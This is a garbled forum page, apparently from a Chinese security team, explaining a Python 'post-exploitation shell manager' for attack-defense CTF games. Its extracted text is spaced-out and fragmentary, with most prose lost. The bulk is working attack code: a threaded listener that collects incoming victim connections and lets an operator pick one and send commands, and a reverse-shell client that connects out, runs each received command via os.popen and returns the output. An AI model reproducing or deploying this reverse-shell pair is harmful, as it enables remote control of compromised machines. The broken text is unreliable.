[19220] 2018-01-24_python中的后渗透-shell管理器

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2018-01-24_python中的后渗透-shell管理器 p y t h o n - s h e l l i   2 0 1 8 - 0 1 - 2 4 i w i n g 0 x 0 0   线 A W D s h e l l s h e l l 0 x 0 1   线 i p s h e l l s h e l l 0 X 0 2   i m p o r t   s o c k e t i m p o r t   t h r e a d i n g i m p o r t   t i m e d e f   s h e l l ( s o c k ,   a d d r ) :         w h i l e   T r u e :                 c o m m a n d   =   i n p u t ( s t r ( a d d r [ 0 ] ) + ' : w i n g # ' )                 i f   s t r ( c o m m a n d )   = =   ' c ' :                         s e l e c t _ s h e l l ( )                       r e t u r n                 i f   c o m m a n d   = =   ' q u i t ' :                         q u i t T h e a r d   =   T r u e                         p r i n t ( s e e y o u )                         e x i t ( 0 )                 i f   c o m m a n d   = =   0 :                         c o n t i n u e               s o c k . s e n d ( c o m m a n d . e n c o d e ( ' u t f - 8 ' ) )                 p r i n t ( ' ' ,   c o m m a n d )                 d a t a   =   s o c k . r e c v ( 1 0 2 4 )                 i f   n o t   d a t a :                       s e l e c t _ s h e l l ( )                 p r i n t ( ' ' , d a t a . d e c o d e ( ) ) s o c k p y 2 p y 3 s o c k e t
d e f   s e l e c t _ s h e l l ( ) :         g l o b a l   s h e l l L i s t         g l o b a l   m y h o s t         p r i n t ( ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' ' )         p r i n t ( ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         f o r   i   i n   r a n g e ( l e n ( s h e l l L i s t ) ) :                 p r i n t ( ' s h e l l   ' )               p r i n t ( ' [ % i ] - > % s '   %   ( i , s t r ( s h e l l L i s t [ i ] [ 1 ] [ 0 ] ) ) )         p r i n t ( ' S h e l l   I D ! ' )         w h i l e   T r u e :                 n u m   =   i n p u t ( ' S h e l l   i d : ' )                 i f i n t ( n u m )   > =   l e n ( s h e l l L i s t ) :                         p r i n t ( ' e r r o r ! ' )                         c o n t i n u e                 e l s e :                         b r e a k         m y h o s t   =   s h e l l L i s t [ i n t ( n u m ) ]         p r i n t ( ' * '   *   6 6 )       p r i n t ( '   ' *   2 2   +   ' '   +   m y h o s t [ 1 ] [ 0 ] )         p r i n t ( ' * '   *   6 6 ) s h e l l l i s t i d i p d e f   c o n n e c t i n g ( s o c k s ) :         w h i l e   n o t   t h r e a d Q u i t :                 i f   l e n ( s h e l l L i s t )   = =   0 :                         p r i n t ( ' ' )                 s o c k ,   a d d r   = s o c k s . a c c e p t ( )                 p r i n t ( ' B i n g o % s '   %   a d d r [ 0 ] )                 l o c k   =   t h r e a d i n g . L o c k ( )                 l o c k . a c q u i r e ( )               s h e l l L i s t . a p p e n d ( ( s o c k ,   a d d r ) )                 l o c k . r e l e a s e ( ) 线 s h e l l L i s t d e f   m a i n ( ) :         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M )         s . b i n d ( ( ' 0 . 0 . 0 . 0 ' , 5 5 5 5 5 ) )         s . l i s t e n ( )         t   = t h r e a d i n g . T h r e a d ( t a r g e t = c o n n e c t i n g , a r g s = ( s , ) )         t . s t a r t ( )         t i m e . s l e e p ( 1 )         w h i l e   T r u e :                 i f   l e n ( s h e l l L i s t )   >   0 :                         s e l e c t _ s h e l l ( )                       s h e l l ( m y h o s t [ 0 ] , m y h o s t [ 1 ] ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p r i n t ( w i n g L o g o )         m a i n ( ) s c o k e t 线 s o c k e t s o c k e t . A F _ I N E T 使 I P v 4 s o c k e t . S O C K _ S T R E A M 使 T c p I P v 4 T c p   S e r v e r s o c k e t 便 p y t h o n o s . p o p e n ( ) . r e a d ( ) o s . s y s y t e m s u b p r o e s s c o m m a n d s u b p r o c e s s . P o p e n ( ) s u b p r o c e s s . P o p e n ( ) s h e l l = T r u e S h e l l s t d o u t s t d e r r s t d i n s u b p r o c e s s . P I P E u t f - 8 u t f - 8 o s . s y s t e m ( )
o s . p o p e n ( ) > > >   o u t p u t   =   o s . p o p e n ( ' c a t   / p r o c / c p u i n f o ' )   > > >   o u t p u t < o p e n   f i l e   ' c a t   / p r o c / c p u i n f o ' ,   m o d e   ' r '   a t   0 x 7 f f 5 2 d 8 3 1 5 4 0 >   > > >   p r i n t   o u t p u t . r e a d ( )   p r o c e s s o r   :   0 v e n d o r _ i d   :   A u t h e n t i c A M D   c p u   f a m i l y   : 2 1 . . .   . . .   > > > < s p a n   s t y l e = " f o n t - s i z e : 1 4 p x ; " > r e a d c o m m a n d s > > >   i m p o r t   c o m m a n d s   > > >   ( s t a t u s ,   o u t p u t )   =   c o m m a n d s . g e t s t a t u s o u t p u t ( ' c a t   / p r o c / c p u i n f o ' )   > > >   p r i n t   o u t p u t   p r o c e s s o r   : 0 v e n d o r _ i d   :   A u t h e n t i c A M D   c p u   f a m i l y   :   2 1 . . .   . . .   > > >   p r i n t   s t a t u s   0 s u b p r o c e s s o s . p o p e n 便 c o d e : # ! / u s r / b i n / e n v   p y t h o n 3 #   _ * _   c o d i n g :   u t f - 8   _ * _ i m p o r t   s o c k e t i m p o r t   t h r e a d i n g i m p o r t   s u b p r o c e s s i m p o r t   t i m e i m p o r t   s y s i m p o r t   a r g p a r s e i m p o r t o s w i n g L o g o   =   ' ' ' d e f   c o n n e c t ( h o s t , p o r t ) :         s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M )         s o c k . c o n n e c t ( ( h o s t , i n t ( p o r t ) ) )         w h i l e   T r u e :               p r i n t ( ' . . . . . . ' )                 c m d   =   s o c k . r e c v ( 1 0 2 4 )                 c m d   =   s t r ( c m d . d e c o d e ( ) )                 p r i n t ( ' - - - - - ' ,   c m d )                 # s h e l l C o m m a n d   =   s u b p r o c e s s . P o p e n ( c m d , s h e l l = T r u e , s t d o u t = s u b p r o c e s s . P I P E , s t d e r r = s u b p r o c e s s . P I P E , s t d i n = s u b p r o c e s s . P I P E )                 # s h e l l _ o u t , s h e l l _ e r r o r   =   s h e l l C o m m a n d . c o m m u n i c a t e ( )                 #   c m d   =   s h e l l _ o u t . d e c o d e ( ) . e n c o d e ( ' u t f - 8 ' )                 #   p r i n t ( c m d )                 c m d   = o s . p o p e n ( c m d ) . r e a d ( )                 p r i n t ( c m d . e n c o d e ( ' u t f - 8 ' ) )                 #   c m d   =   o s . p o p e n ( c m d )                 #   p r i n t ( c m d . e n c o d e ( ' u t f - 8 ' ) )               s o c k . s e n d a l l ( b y t e s ( c m d . e n c o d e ( ' u t f - 8 ' ) ) )                 t i m e . s l e e p ( 1 ) d e f   m a i n ( ) :         p a r s e   =   a r g p a r s e . A r g u m e n t P a r s e r ( )         p a r s e . a d d _ a r g u m e n t ( ' - H ' , d e s t = ' h o s t ' , h e l p = ' h o s t n a m e ' )         p a r s e . a d d _ a r g u m e n t ( ' - p ' , d e s t = ' p o r t ' , h e l p = ' p o r t n a m e ' )         a r g s   =   p a r s e . p a r s e _ a r g s ( )         h o s t   =   a r g s . h o s t       p o r t   =   a r g s . p o r t         i f   h o s t   = =   N o n e   a n d   p o r t   = = N o n e :                 p r i n t ( p a r s e . p a r s e _ a r g s ( [ ' - h ' ] ) )                 e x i t ( - 1 )         c o n n e c t ( h o s t , p o r t ) i f   _ _ n a m e _ _   = = ' _ _ m a i n _ _ ' :         p r i n t ( w i n g L o g o )         m a i n ( ) a r g p a r s e 0 X 0 3  

~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则